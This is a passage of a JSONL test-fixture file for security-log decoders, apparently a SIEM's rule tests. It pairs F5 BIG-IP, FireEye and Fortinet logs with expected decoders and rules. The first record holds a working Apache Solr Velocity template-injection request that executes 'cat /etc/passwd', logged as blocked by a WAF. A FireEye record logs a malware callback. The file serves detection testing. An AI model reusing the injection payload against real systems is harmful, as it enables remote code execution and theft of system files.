/solr/atom/select?q\\=1&&wt\\=velocity&v.template\\=custom&v.template.custom\\=%23set($x\\=%27%27)+%23set($rt\\=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr\\=$x.class.forName(%27java.lang.Character%27))+%23set($str\\=$x.class.forName(%27java.lang.String%27))+%23set($ex\\=$rt.getRuntime().exec(%27cat%20/etc/passwd%27))+$ex.waitFor()+%23set($out\\=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.0\\r\\nHost: upgrade.ovo.id\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q\\=0.9,*/*;q\\=0.8\\r\\nAccept-Language: en-US,en;q\\=0.5\\r\\nX-Cnection: close\\r\\nUpgrade-Insecure-Requests: 1\\r\\nX-Forwarded-For: 167.71.70.165\\r\\nConnection: Keep-Alive\\r\\n\\r\\n#015", "cs3Label": "full_request", "cs4": "SQL-Injection", "cs4Label": "attack_type", "cs5": "167.71.70.165", "cs5Label": "x_forwarded_for_header_value", "cs6": "NL", "cs6Label": "geo_location", "deviceCustomDate1": "Apr 30 2021 07:40:41", "deviceCustomDate1Label": "policy_apply_date", "deviceExternalId": "0", "dstip": "10.50.72.35", "dstport": "443", "dstuser": "N/A", "dvchost": "lb1.corp.ovo.id", "externalId": "15489460216395963001", "message": "200002273|SQL-INJ exec()|5|dvchost=lb1.corp.ovo.id dvc=192.168.10.4 cs1=/Common/www.ovo.id-waf-policy cs1Label=policy_name cs2=/Common/www.ovo.id-waf-policy cs2Label=http_class_name deviceCustomDate1=Apr 30 2021 07:40:41 deviceCustomDate1Label=policy_apply_date externalId=15489460216395963001 act=blocked cn1=0 cn1Label=response_code src=167.71.70.165 spt=13370 dst=10.50.72.35 dpt=443 requestMethod=GET app=HTTPS cs5=167.71.70.165 cs5Label=x_forwarded_for_header_value rt=May 05 2021 01:34:00 deviceExternalId=0 cs4=SQL-Injection cs4Label=attack_type cs6=NL cs6Label=geo_location c6a1= c6a1Label=device_address c6a2= c6a2Label=source_address c6a3= c6a3Label=destination_address c6a4= c6a4Label=ip_address_intelligence msg=N/A suid=0 suser=N/A cn2=5 cn2Label=violation_rating cn3=0 cn3Label=device_id microservice=N/A request=/solr/atom/select?q\\=1&&wt\\=velocity&v.template\\=custom&v.template.custom\\=%23set($x\\=%27%27)+%23set($rt\\=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr\\=$x.class.forName(%27java.lang.Character%27))+%23set($str\\=$x.class.forName(%27java.lang.String%27))+%23set($ex\\=$rt.getRuntime().exec(%27cat%20/etc/passwd%27))+$ex.waitFor()+%23set($out\\=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end cs3Label=full_request cs3=GET /solr/atom/select?q\\=1&&wt\\=velocity&v.template\\=custom&v.template.custom\\=%23set($x\\=%27%27)+%23set($rt\\=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr\\=$x.class.forName(%27java.lang.Character%27))+%23set($str\\=$x.class.forName(%27java.lang.String%27))+%23set($ex\\=$rt.getRuntime().exec(%27cat%20/etc/passwd%27))+$ex.waitFor()+%23set($out\\=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.0\\r\\nHost: upgrade.ovo.id\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q\\=0.9,*/*;q\\=0.8\\r\\nAccept-Language: en-US,en;q\\=0.5\\r\\nX-Cnection: close\\r\\nUpgrade-Insecure-Requests: 1\\r\\nX-Forwarded-For: 167.71.70.165\\r\\nConnection: Keep-Alive\\r\\n\\r\\n#015", "microservice": "N/A", "msg": "N/A", "request": "/solr/atom/select?q\\=1&&wt\\=velocity&v.template\\=custom&v.template.custom\\=%23set($x\\=%27%27)+%23set($rt\\=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr\\=$x.class.forName(%27java.lang.Character%27))+%23set($str\\=$x.class.forName(%27java.lang.String%27))+%23set($ex\\=$rt.getRuntime().exec(%27cat%20/etc/passwd%27))+$ex.waitFor()+%23set($out\\=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end", "requestMethod": "GET", "rt": "May 05 2021 01:34:00", "srcip": "167.71.70.165", "srcport": "13370", "suid": "0"}, "field_names": ["act", "app", "c6a1Label", "c6a2Label", "c6a3Label", "c6a4Label", "cn1", "cn1Label", "cn2", "cn2Label", "cn3", "cn3Label", "cs1", "cs1Label", "cs2", "cs2Label", "cs3", "cs3Label", "cs4", "cs4Label", "cs5", "cs5Label", "cs6", "cs6Label", "deviceCustomDate1", "deviceCustomDate1Label", "deviceExternalId", "dstip", "dstport", "dstuser", "dvchost", "externalId", "message", "microservice", "msg", "request", "requestMethod", "rt", "srcip", "srcport", "suid"], "rule": "65295", "level": "13", "expected_decoder": "f5-bigip-cef", "expected_rule": "65295", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "ASM SQL injection"} +{"log": "<134>Sep 19 13:35:00 bigip-4.pme-ds.f5.com ASM:CEF:0|F5|ASM|11.3.0|Successful Request|Successful Request|2| dvchost=bigip-4.pme-ds.f5.com dvc=172.16.73.34 cs1=topaz4-web4 cs1Label=policy_name cs2=/Common/topaz4-web4 cs2Label=http_class_name deviceCustomDate1=Sep 19 2012 11:38:36 deviceCustomDate1Label=policy_apply_date externalId=18205860747014045699 act=passed cn1=200 cn1Label=response_code src=10.4.1.101 spt=52963 dst=10.4.1.200 dpt=80 requestMethod=GET app=HTTP cs5=N/A cs5Label=x_forwarded_for_header_value rt=Sep 19 2012 13:35:00 deviceExternalId=0 cs4=N/A cs4Label=attack_type cs6=N/A cs6Label=geo_location c6a1= c6a1Label=device_address c6a2= c6a2Label=source_address c6a3= c6a3Label=destination_address c6a4=N/A c6a4Label=ip_address_intelligence msg=N/A suid=2e769a9e1ea8b777 suser=N/A request=/ cs3Label=full_request cs3=GET / HTTP/1.0\\r\\nUser-Agent: Wget/1.12 (linux-gnu)\\r\\nAccept: */*\\r\\nHost: 10.4.1.200\\r\\nConnection: Keep-Alive\\r\\n\\r\\n", "decoder": "f5-bigip-cef", "parent": "", "fields": {"act": "passed", "app": "HTTP", "c6a1Label": "device_address", "c6a2Label": "source_address", "c6a3Label": "destination_address", "c6a4": "N/A", "c6a4Label": "ip_address_intelligence", "cn1": "200", "cn1Label": "response_code", "cs1": "topaz4-web4", "cs1Label": "policy_name", "cs2": "/Common/topaz4-web4", "cs2Label": "http_class_name", "cs3": "GET / HTTP/1.0\\r\\nUser-Agent: Wget/1.12 (linux-gnu)\\r\\nAccept: */*\\r\\nHost: 10.4.1.200\\r\\nConnection: Keep-Alive\\r\\n\\r\\n", "cs3Label": "full_request", "cs4": "N/A", "cs4Label": "attack_type", "cs5": "N/A", "cs5Label": "x_forwarded_for_header_value", "cs6": "N/A", "cs6Label": "geo_location", "deviceCustomDate1": "Sep 19 2012 11:38:36", "deviceCustomDate1Label": "policy_apply_date", "deviceExternalId": "0", "dstip": "10.4.1.200", "dstport": "80", "dstuser": "N/A", "dvchost": "bigip-4.pme-ds.f5.com", "externalId": "18205860747014045699", "message": "Successful Request|Successful Request|2| dvchost=bigip-4.pme-ds.f5.com dvc=172.16.73.34 cs1=topaz4-web4 cs1Label=policy_name cs2=/Common/topaz4-web4 cs2Label=http_class_name deviceCustomDate1=Sep 19 2012 11:38:36 deviceCustomDate1Label=policy_apply_date externalId=18205860747014045699 act=passed cn1=200 cn1Label=response_code src=10.4.1.101 spt=52963 dst=10.4.1.200 dpt=80 requestMethod=GET app=HTTP cs5=N/A cs5Label=x_forwarded_for_header_value rt=Sep 19 2012 13:35:00 deviceExternalId=0 cs4=N/A cs4Label=attack_type cs6=N/A cs6Label=geo_location c6a1= c6a1Label=device_address c6a2= c6a2Label=source_address c6a3= c6a3Label=destination_address c6a4=N/A c6a4Label=ip_address_intelligence msg=N/A suid=2e769a9e1ea8b777 suser=N/A request=/ cs3Label=full_request cs3=GET / HTTP/1.0\\r\\nUser-Agent: Wget/1.12 (linux-gnu)\\r\\nAccept: */*\\r\\nHost: 10.4.1.200\\r\\nConnection: Keep-Alive\\r\\n\\r\\n", "msg": "N/A", "request": "/", "requestMethod": "GET", "rt": "Sep 19 2012 13:35:00", "srcip": "10.4.1.101", "srcport": "52963", "suid": "2e769a9e1ea8b777"}, "field_names": ["act", "app", "c6a1Label", "c6a2Label", "c6a3Label", "c6a4", "c6a4Label", "cn1", "cn1Label", "cs1", "cs1Label", "cs2", "cs2Label", "cs3", "cs3Label", "cs4", "cs4Label", "cs5", "cs5Label", "cs6", "cs6Label", "deviceCustomDate1", "deviceCustomDate1Label", "deviceExternalId", "dstip", "dstport", "dstuser", "dvchost", "externalId", "message", "msg", "request", "requestMethod", "rt", "srcip", "srcport", "suid"], "rule": "65296", "level": "12", "expected_decoder": "f5-bigip-cef", "expected_rule": "65296", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "BigIP ASM: Violation detected"} +{"log": "<131>Sep 19 13:53:34 bigip-4.pme-ds.f5.com ASM:CEF:0|F5|ASM|11.3.0|200021069|Automated client access \"wget\"|5|dvchost=bigip-4.pme-ds.f5.com dvc=172.16.73.34 cs1=topaz4-web4 cs1Label=policy_name cs2=/Common/topaz4-web4 cs2Label=http_class_name deviceCustomDate1=Sep 19 2012 13:49:25 deviceCustomDate1Label=policy_apply_date externalId=18205860747014045723 act=blocked cn1=0 cn1Label=response_code src=10.4.1.101 spt=52975 dst=10.4.1.200 dpt=80 requestMethod=GET app=HTTP cs5=N/A cs5Label=x_forwarded_for_header_value rt=Sep 19 2012 13:53:33 deviceExternalId=0 cs4=Non-browser Client cs4Label=attack_type cs6=N/A cs6Label=geo_location c6a1= c6a1Label=device_address c6a2= c6a2Label=source_address c6a3= c6a3Label=destination_address c6a4=N/A c6a4Label=ip_address_intelligence msg=N/A suid=86c4f8bf7349cac9 suser=N/A request=/ cs3Label=full_request cs3=GET / HTTP/1.0\\r\\nUser-Agent: Wget/1.12 (linux-gnu)\\r\\nAccept: */*\\r\\nHost: 10.4.1.200\\r\\nConnection: Keep-Alive\\r\\n\\r\\n", "decoder": "f5-bigip-cef", "parent": "", "fields": {"act": "blocked", "app": "HTTP", "c6a1Label": "device_address", "c6a2Label": "source_address", "c6a3Label": "destination_address", "c6a4": "N/A", "c6a4Label": "ip_address_intelligence", "cn1": "0", "cn1Label": "response_code", "cs1": "topaz4-web4", "cs1Label": "policy_name", "cs2": "/Common/topaz4-web4", "cs2Label": "http_class_name", "cs3": "GET / HTTP/1.0\\r\\nUser-Agent: Wget/1.12 (linux-gnu)\\r\\nAccept: */*\\r\\nHost: 10.4.1.200\\r\\nConnection: Keep-Alive\\r\\n\\r\\n", "cs3Label": "full_request", "cs4": "Non-browser Client", "cs4Label": "attack_type", "cs5": "N/A", "cs5Label": "x_forwarded_for_header_value", "cs6": "N/A", "cs6Label": "geo_location", "deviceCustomDate1": "Sep 19 2012 13:49:25", "deviceCustomDate1Label": "policy_apply_date", "deviceExternalId": "0", "dstip": "10.4.1.200", "dstport": "80", "dstuser": "N/A", "dvchost": "bigip-4.pme-ds.f5.com", "externalId": "18205860747014045723", "message": "200021069|Automated client access \"wget\"|5|dvchost=bigip-4.pme-ds.f5.com dvc=172.16.73.34 cs1=topaz4-web4 cs1Label=policy_name cs2=/Common/topaz4-web4 cs2Label=http_class_name deviceCustomDate1=Sep 19 2012 13:49:25 deviceCustomDate1Label=policy_apply_date externalId=18205860747014045723 act=blocked cn1=0 cn1Label=response_code src=10.4.1.101 spt=52975 dst=10.4.1.200 dpt=80 requestMethod=GET app=HTTP cs5=N/A cs5Label=x_forwarded_for_header_value rt=Sep 19 2012 13:53:33 deviceExternalId=0 cs4=Non-browser Client cs4Label=attack_type cs6=N/A cs6Label=geo_location c6a1= c6a1Label=device_address c6a2= c6a2Label=source_address c6a3= c6a3Label=destination_address c6a4=N/A c6a4Label=ip_address_intelligence msg=N/A suid=86c4f8bf7349cac9 suser=N/A request=/ cs3Label=full_request cs3=GET / HTTP/1.0\\r\\nUser-Agent: Wget/1.12 (linux-gnu)\\r\\nAccept: */*\\r\\nHost: 10.4.1.200\\r\\nConnection: Keep-Alive\\r\\n\\r\\n", "msg": "N/A", "request": "/", "requestMethod": "GET", "rt": "Sep 19 2012 13:53:33", "srcip": "10.4.1.101", "srcport": "52975", "suid": "86c4f8bf7349cac9"}, "field_names": ["act", "app", "c6a1Label", "c6a2Label", "c6a3Label", "c6a4", "c6a4Label", "cn1", "cn1Label", "cs1", "cs1Label", "cs2", "cs2Label", "cs3", "cs3Label", "cs4", "cs4Label", "cs5", "cs5Label", "cs6", "cs6Label", "deviceCustomDate1", "deviceCustomDate1Label", "deviceExternalId", "dstip", "dstport", "dstuser", "dvchost", "externalId", "message", "msg", "request", "requestMethod", "rt", "srcip", "srcport", "suid"], "rule": "65296", "level": "12", "expected_decoder": "f5-bigip-cef", "expected_rule": "65296", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "BigIP ASM: Violation detected"} +{"log": "<131>Sep 19 13:53:34 bigip-4.pme-ds.f5.com ASM:CEF:0|F5|componentName|componentName|componentName|componentName|40| dvchost=componentName dvc=componentName cs1=componentName cs1Label=policy_name cs2=componentName cs2Label=web_application_name deviceCustomDate1=componentName deviceCustomDate1Label=policy_apply_date act=componentName cn3=%llu cn3Label=attack_id cs4=componentName cs4Label=attack_status request=componentName src=componentName cs6=componentName cs6Label=geo_location cs5=componentName cs5Label=detection_mode rt=componentName cn1=40 cn1Label=detection_average cn2=%llu cn2Label=dropped_requests", "decoder": "f5-bigip-cef", "parent": "", "fields": {"act": "componentName", "cn1": "40", "cn1Label": "detection_average", "cn2": "%llu", "cn3": "%llu", "cn3Label": "attack_id", "cs1": "componentName", "cs1Label": "policy_name", "cs2": "componentName", "cs2Label": "web_application_name", "cs4": "componentName", "cs4Label": "attack_status", "cs5": "componentName", "cs5Label": "detection_mode", "cs6": "componentName", "cs6Label": "geo_location", "deviceCustomDate1Label": "policy_apply_date", "dvchost": "componentName", "request": "componentName", "srcip": "componentName"}, "field_names": ["act", "cn1", "cn1Label", "cn2", "cn3", "cn3Label", "cs1", "cs1Label", "cs2", "cs2Label", "cs4", "cs4Label", "cs5", "cs5Label", "cs6", "cs6Label", "deviceCustomDate1Label", "dvchost", "request", "srcip"], "rule": "65297", "level": "12", "expected_decoder": "f5-bigip-cef", "expected_rule": "65297", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "BigIP ASM: Anomaly detected"} +{"log": "<131>Sep 19 13:53:34 bigip-4.pme-ds.f5.com ASM:CEF:0|F5|componentName|componentName|componentName|componentName|40| dvchost=componentName dvc=componentName cs1=componentName cs1Label=policy_name cs2=componentName cs2Label=web_application_name deviceCustomDate1=componentName deviceCustomDate1Label=policy_apply_date act=componentName cn3=%llu cn3Label=attack_id cs4=componentName cs4Label=attack_status src=componentName cs6=componentName cs6Label=geo_location cn2=%llu cn2Label=dropped_requests rt=componentName", "decoder": "f5-bigip-cef", "parent": "", "fields": {"act": "componentName", "cn2": "%llu", "cn2Label": "dropped_requests", "cn3": "%llu", "cn3Label": "attack_id", "cs1": "componentName", "cs1Label": "policy_name", "cs2": "componentName", "cs2Label": "web_application_name", "cs4": "componentName", "cs4Label": "attack_status", "cs6": "componentName", "cs6Label": "geo_location", "deviceCustomDate1Label": "policy_apply_date", "dvchost": "componentName", "srcip": "componentName"}, "field_names": ["act", "cn2", "cn2Label", "cn3", "cn3Label", "cs1", "cs1Label", "cs2", "cs2Label", "cs4", "cs4Label", "cs6", "cs6Label", "deviceCustomDate1Label", "dvchost", "srcip"], "rule": "65297", "level": "12", "expected_decoder": "f5-bigip-cef", "expected_rule": "65297", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "BigIP ASM: Anomaly detected"} +{"log": "<131>Sep 19 13:53:34 bigip-4.pme-ds.f5.com ASM:CEF:0|F5|componentName|componentName|componentName|componentName|40| dvchost=componentName dvc=componentName cs1=componentName cs1Label=policy_name cs2=componentName cs2Label=web_application_name deviceCustomDate1=componentName deviceCustomDate1Label=policy_apply_date act=componentName cn3=%llu cn3Label=attack_id cs4=componentName cs4Label=attack_status src=componentName cs6=componentName cs6Label=geo_location rt=componentName cn2=%llu cn2Label=dropped_requests cn4=%u cn4Label=violation_counter", "decoder": "f5-bigip-cef", "parent": "", "fields": {"act": "componentName", "cn2": "%llu", "cn2Label": "dropped_requests", "cn3": "%llu", "cn3Label": "attack_id", "cs1": "componentName", "cs1Label": "policy_name", "cs2": "componentName", "cs2Label": "web_application_name", "cs4": "componentName", "cs4Label": "attack_status", "cs6": "componentName", "cs6Label": "geo_location", "deviceCustomDate1Label": "policy_apply_date", "dvchost": "componentName", "srcip": "componentName"}, "field_names": ["act", "cn2", "cn2Label", "cn3", "cn3Label", "cs1", "cs1Label", "cs2", "cs2Label", "cs4", "cs4Label", "cs6", "cs6Label", "deviceCustomDate1Label", "dvchost", "srcip"], "rule": "65297", "level": "12", "expected_decoder": "f5-bigip-cef", "expected_rule": "65297", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "BigIP ASM: Anomaly detected"} +{"log": "May 5 04:26:19 hostname info process[20175]: 01011111:0: MCP Connection %s, exiting", "decoder": "f5-bigip", "parent": "", "fields": {"event.code": "01011111", "event.type": "info", "log.level": "0", "message": "MCP Connection %s, exiting", "process.name": "process", "process.pid": "20175"}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid"], "rule": "65298", "level": "2", "expected_decoder": "f5-bigip", "expected_rule": "65298", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "F5 BigIP: Info message detected."} +{"log": "May 5 04:26:19 hostname notice process[20175]: 01011111:0: MCP Connection %s, exiting", "decoder": "f5-bigip", "parent": "", "fields": {"event.code": "01011111", "event.type": "notice", "log.level": "0", "message": "MCP Connection %s, exiting", "process.name": "process", "process.pid": "20175"}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid"], "rule": "65299", "level": "2", "expected_decoder": "f5-bigip", "expected_rule": "65299", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "F5 BigIP: Notice message detected."} +{"log": "May 5 04:26:19 hostname warning process[20175]: 01011111:0: MCP Connection %s, exiting", "decoder": "f5-bigip", "parent": "", "fields": {"event.code": "01011111", "event.type": "warning", "log.level": "0", "message": "MCP Connection %s, exiting", "process.name": "process", "process.pid": "20175"}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid"], "rule": "65300", "level": "2", "expected_decoder": "f5-bigip", "expected_rule": "65300", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "F5 BigIP: Warning message detected."} +{"log": "May 5 04:26:19 hostname alert process[20175]: 01011111:0: MCP Connection %s, exiting", "decoder": "f5-bigip", "parent": "", "fields": {"event.code": "01011111", "event.type": "alert", "log.level": "0", "message": "MCP Connection %s, exiting", "process.name": "process", "process.pid": "20175"}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid"], "rule": "65301", "level": "4", "expected_decoder": "f5-bigip", "expected_rule": "65301", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "F5 BigIP: Alert message detected."} +{"log": "May 5 04:26:19 hostname crit process[20175]: 01011111:0: MCP Connection %s, exiting", "decoder": "f5-bigip", "parent": "", "fields": {"event.code": "01011111", "event.type": "crit", "log.level": "0", "message": "MCP Connection %s, exiting", "process.name": "process", "process.pid": "20175"}, "field_names": ["event.code", "event.type", "log.level", "message", "process.name", "process.pid"], "rule": "65302", "level": "7", "expected_decoder": "f5-bigip", "expected_rule": "65302", "rule_matches_expected": true, "ini_file": "f5_big_ip.ini", "section": "F5 BigIP: Critical message detected."} +{"log": "Sep 9 00:31:10 192.168.1.1 cef: CEF:0|FireEye|????|7.9.3.616878|MC|YYYY|7|rt=Sep 09 2017 00:31:23 UTC src=192.168.1.2 cn3La...=tcp dst=192.168.1.2 cs5Lab...", "decoder": "cef-fireeye", "parent": "", "fields": {"app": "????", "dstcip": "192.168.1.2", "srcip": "192.168.1.2", "type": "YYYY"}, "field_names": ["app", "dstcip", "srcip", "type"], "rule": "150101", "level": "7", "expected_decoder": "cef-fireeye", "expected_rule": "150101", "rule_matches_expected": true, "ini_file": "fireeye.ini", "section": "fireeye"} +{"log": "Aug 25 17:22:01 usa001 cef: CEF:0|fireeye|hx|3.5.1|IOC Hit Found|IOC Hit Found|10|rt=Aug 25 2017 17:22:01 UTC dvchost=usa001 categoryDeviceGroup=/IDS categoryDeviceType=Forensic Investigation categoryObject=/Host cs1Label=Host Agent Cert Hash cs1=DOdxxxuqM dst=192.168.1.2 dmac=d8-d0-d3-d8-d8-d8 dhost=XXXXXXXXXX-XX dntdom=NA deviceCustomDate1Label=Agent Last Audit deviceCustomDate1=Aug 25 2017 17:18:04 UTC cs2Label=FireEye Agent Version cs2=21.33.7 cs5Label=Target GMT Offset cs5=-PT4H cs6Label=Target OS cs6=Windows 7 Enterprise 7601 Service Pack 1 externalId=82xxx51 start=Aug 25 2017 17:17:34 UTC categoryOutcome=/Success categorySignificance=/Compromise categoryBehavior=/Found cs7Label=Resolution cs7=ALERT cs8Label=Alert Types cs8=exc act=Detection IOC Hit msg=Host XXXXXXXXXX-XX IOC compromise alert categoryTupleDescription=A Detection IOC found a compromise indication. cs4Label=IOC Name cs4=MALICIOUS SCRIPT CONTENT A (METHODOLOGY) categoryTechnique=Alert", "decoder": "cef-fireeye", "parent": "cef-fireeye", "fields": {"act": "Detection IOC Hit", "app": "hx", "categoryBehavior": "/Found", "categoryDeviceGroup": "/IDS", "categoryDeviceType": "Forensic Investigation", "categoryObject": "/Host", "categoryOutcome": "/Success", "categorySignificance": "/Compromise", "categoryTechnique": "Alert", "categoryTupleDescription": "A Detection IOC found a compromise indication.", "dhost": "XXXXXXXXXX-XX", "dmac": "d8-d0-d3-d8-d8-d8", "dstip": "192.168.1.2", "dvchost": "usa001", "key": "IOC Name", "msg": "Host XXXXXXXXXX-XX IOC compromise alert", "rt": "Aug 25 2017 17:22:01 UTC", "target_os": "Windows 7 Enterprise 7601 Service Pack 1", "type": "IOC Hit Found", "value": "MALICIOUS SCRIPT CONTENT A (METHODOLOGY)"}, "field_names": ["act", "app", "categoryBehavior", "categoryDeviceGroup", "categoryDeviceType", "categoryObject", "categoryOutcome", "categorySignificance", "categoryTechnique", "categoryTupleDescription", "dhost", "dmac", "dstip", "dvchost", "key", "msg", "rt", "target_os", "type", "value"], "rule": "150102", "level": "7", "expected_decoder": "cef-fireeye", "expected_rule": "150102", "rule_matches_expected": true, "ini_file": "fireeye.ini", "section": "fireeye: malicious script"} +{"log": "Sep 9 00:31:10 192.168.1.1 cef: CEF:0|FireEye|MPS|7.9.3.616878|MC|malware-callback|7|rt=Sep 09 2017 00:31:23 UTC src=192.168.1.1 cn3Label=cncPort cn3=1080 cn2Label=sid cn2=xxxxxxxx requestMethod=GET proto=tcp dst=192.168.1.2 cs5Label=cncHost cs5=192.168.1.1 spt=xxxxxx cs4Label=link cs4=https://192.168.1.1/event_stream/events_for_bot?ev_id\\=xxxxx&lms_iden\\=002xxxCBA smac=a0:a8:a3:af:ac:a4 cn1Label=vlan cn1=0 dpt=1080 externalId=xxxxx dvc=192.168.1.2 act=notified cs6Label=channel cs6=GET /api.php?sk\\=strategy HTTP/1.1::~~uid: 1xxx5::~~self_pname: com.shinymobi.app.funweather::~~manuFacturer: leimin::~~rom_avl: 343xxx792::~~resolution: 480x854::~~net: WIFI::~~lang: es::~~androidid: c0axxx871::~~time: Fri Sep 08 19:31:02 CDT 2017::~~mc: d8:d5:d7:d7:df:d6::~~ext_tol: 395xxx512::~~sdk: 19::~~vcode: 40022::~~app: DollarGetter_lg2::~~os: 1::~~gaid: 4xxxb-9xxx0-4xxx0-9xxx8-1cxxx1b::~~apis: F:SP_V:40022::~~s_nation: mx::~~vendor: zhxingch::~~imei: 35xxx21::~~cpu: 1300000::~~a_location: /", "decoder": "cef-fireeye", "parent": "cef-fireeye", "fields": {"act": "notified", "app": "MPS", "dpt": "1080", "dstip": "192.168.1.2", "dvc": "192.168.1.2", "external_id": "xxxxx", "host": "192.168.1.1", "link": "https://192.168.1.1/event_stream/events_for_bot?ev_id\\=xxxxx&lms_iden\\=002xxxCBA", "proto": "tcp", "request_method": "GET", "rt": "Sep 09 2017 00:31:23 UTC", "sid": "xxxxxxxx", "smac": "a0:a8:a3:af:ac:a4", "spt": "xxxxxx", "srcip": "192.168.1.1", "srcport": "1080", "type": "malware-callback", "vlan": "0"}, "field_names": ["act", "app", "dpt", "dstip", "dvc", "external_id", "host", "link", "proto", "request_method", "rt", "sid", "smac", "spt", "srcip", "srcport", "type", "vlan"], "rule": "150101", "level": "7", "expected_decoder": "cef-fireeye", "expected_rule": "150101", "rule_matches_expected": true, "ini_file": "fireeye.ini", "section": "fireeye: malware-callback"} +{"log": "2021-07-08T11:01:06-03:00 XXX.XXX.XXX.XXX db[32167]: category=\"Event\" subcategory=\"Authentication\" typeid=20299 level=\"information\" user=\"user2\" nas=\"XXX.XXX.XXX.XXX\" action=\"Authentication\" status=\"Pending\" Remote RADIUS user authentication partially done, remote server expecting challenge response", "decoder": "fortiauth", "parent": "", "fields": {"category": "Event", "data.action": "Authentication", "data.status": "Pending", "description": "Remote RADIUS user authentication partially done, remote server expecting challenge response", "dstuser": "user2", "level": "information", "nas": "XXX.XXX.XXX.XXX", "subcategory": "Authentication", "typeid": "20299"}, "field_names": ["category", "data.action", "data.status", "description", "dstuser", "level", "nas", "subcategory", "typeid"], "rule": "44732", "level": "4", "expected_decoder": "fortiauth", "expected_rule": "44732", "rule_matches_expected": true, "ini_file": "fortiauth.ini", "section": "Fortiauth: Pending authentication"} +{"log": "2021-07-08T11:00:56-03:00 XXX.XXX.XXX.XXX db[31013]: category=\"Event\" subcategory=\"Authentication\" typeid=20001 level=\"information\" user=\"user1\" nas=\"XXX.XXX.XXX.XXX\" action=\"Authentication\" status=\"Failed\" Remote RADIUS user authentication with invalid token", "decoder": "fortiauth", "parent": "", "fields": {"category": "Event", "data.action": "Authentication", "data.status": "Failed", "description": "Remote RADIUS user authentication with invalid token", "dstuser": "user1", "level": "information", "nas": "XXX.XXX.XXX.XXX", "subcategory": "Authentication", "typeid": "20001"}, "field_names": ["category", "data.action", "data.status", "description", "dstuser", "level", "nas", "subcategory", "typeid"], "rule": "44733", "level": "7", "expected_decoder": "fortiauth", "expected_rule": "44733", "rule_matches_expected": true, "ini_file": "fortiauth.ini", "section": "Fortiauth: Failed authentication"} +{"log": "2021-07-08T11:00:56-03:00 XXX.XXX.XXX.XXX db[31013]: category=\"Event\" subcategory=\"Authentication\" typeid=20001 level=\"information\" user=\"user1\" nas=\"XXX.XXX.XXX.XXX\" action=\"Authentication\" status=\"Success\" Remote RADIUS user authentication with no token successful", "decoder": "fortiauth", "parent": "", "fields": {"category": "Event", "data.action": "Authentication", "data.status": "Success", "description": "Remote RADIUS user authentication with no token successful", "dstuser": "user1", "level": "information", "nas": "XXX.XXX.XXX.XXX", "subcategory": "Authentication", "typeid": "20001"}, "field_names": ["category", "data.action", "data.status", "description", "dstuser", "level", "nas", "subcategory", "typeid"], "rule": "44734", "level": "3", "expected_decoder": "fortiauth", "expected_rule": "44734", "rule_matches_expected": true, "ini_file": "fortiauth.ini", "section": "Fortiauth: Successful authentication"} +{"log": "2021-07-08T11:01:03-03:00 XXX.XXX.XXX.XXX db[32167]: category=\"Event\" subcategory=\"System\" typeid=30101 level=\"information\" user=\"admin\" nas=\"\" action=\"\" status=\"\" RADIUS server running in full edition", "decoder": "fortiauth", "parent": "", "fields": {"category": "Event", "description": "RADIUS server running in full edition", "dstuser": "admin", "level": "information", "subcategory": "System", "typeid": "30101"}, "field_names": ["category", "description", "dstuser", "level", "subcategory", "typeid"], "rule": "44735", "level": "4", "expected_decoder": "fortiauth", "expected_rule": "44735", "rule_matches_expected": true, "ini_file": "fortiauth.ini", "section": "Fortiauth: Info event"} +{"log": "2021-05-27T23:59:59.998837-03:00 12.34.56.78 devid=FGXXXXXXX date=2021-05-28 time=00:00:00 tz=ART type=attack subtype=\"ips\" spp=4 evecode=2 evesubcode=27 description=\"TCP invalid flag combination \" dir=1 protocol=6 sip=0.0.0.0 dip=12.34.56.79 dropcount=30 subnetid=95 facility=Local0 level=Notice direction=inbound spp_name=\"YYYYY\" subnet_name=\"ZZZZZ\" sppoperatingmode=detection severity=\"high\"", "decoder": "fortiddos-like", "parent": "", "fields": {"date": "2021-05-28", "description": "TCP invalid flag combination ", "devid": "FGXXXXXXX", "dir": "1", "direction": "inbound", "dropCount": "30", "dstip": "12.34.56.79", "evecode": "2", "evesubcode": "27", "facility": "Local0", "level": "Notice", "protocol": "6", "severity": "high", "spp": "4", "spp_name": "YYYYY", "sppoperatingmode": "detection", "srcip": "0.0.0.0", "subnet_name": "ZZZZZ", "subnetid": "95", "subtype": "ips", "time": "00:00:00", "type": "attack", "tz": "ART"}, "field_names": ["date", "description", "devid", "dir", "direction", "dropCount", "dstip", "evecode", "evesubcode", "facility", "level", "protocol", "severity", "spp", "spp_name", "sppoperatingmode", "srcip", "subnet_name", "subnetid", "subtype", "time", "type", "tz"], "rule": "44629", "level": "7", "expected_decoder": "fortiddos-like", "expected_rule": "44629", "rule_matches_expected": true, "ini_file": "fortiddos.ini", 